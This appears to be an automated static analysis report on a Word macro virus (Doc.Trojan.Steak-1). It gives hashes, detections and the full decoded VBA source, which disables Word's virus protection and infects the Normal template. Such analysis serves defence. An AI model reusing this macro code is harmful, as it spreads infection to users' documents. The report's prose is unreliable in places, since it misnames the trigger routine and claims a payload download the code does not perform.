Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9a58899e138d2a4…

MALICIOUS

Office (OLE)

37.0 KB Created: 1999-06-03 19:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0ece1f9d9bd9a8b706fe89d19a514a3d SHA-1: fa6b39e9a42630f6344dabf69b0b0be136243f89 SHA-256: e9a58899e138d2a478c395617a1a42249ba34a8736ea769d2bde239de0f91c44
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. The macro attempts to export its own code to 'c:\A1.sys' and then creates a new macro in 'c:\A1.inf' which it injects into the document. This injected code is designed to execute upon opening the document, likely to download and execute a secondary payload or establish persistence. The ClamAV detection 'Doc.Trojan.Steak-1' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Steak-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Steak-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1372 bytes
SHA-256: 4d981484ea306a4f2cba4fc44fe4723b4dc6756901ee85e9359aec5b9da849f2
Detection
ClamAV: Doc.Trojan.Steak-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Options.VirusProtection = (0 - 0): Options.ConfirmConversions = (1 - 1): Options.SaveNormalPrompt = (2 - 2)
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\A1.sys"
NT = NormalTemplate.VBProject.VBComponents.Item(1).Codemodule.CountOfLines
Set A1 = NormalTemplate.VBProject.VBComponents.Item(1)
A1.Codemodule.Deletelines 1, A1.Codemodule.CountOfLines
Open "c:\A1.inf" For Output As #1
Print #1, "Private Sub Document_Open()"
Print #1, "AD = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines"
Print #1, "Set A1 = ActiveDocument.VBProject.VBComponents.Item(1)"
Print #1, "A1.Codemodule.Deletelines 1, A1.Codemodule.CountOfLines"
Print #1, "A1.Codemodule.AddFromFile (" & Chr(34) & "c:\A1.sys" & Chr(34) & ")"
Print #1, "A1.Codemodule.Deletelines 1, 4"
Print #1, "End Sub"
Close #1
A1.Codemodule.AddFromFile ("c:\A1.inf")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
'*.,.*.,.*.,.*.,.*.,.*.,.*.,.*.,.*.,.*'
'*~~A.1.~Steak~Sauce:~By~Lys~KovicK~~*'
'*~~~~~~~~~~(Publik~~Kopie)~~~~~~~~~~*'
'*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*'

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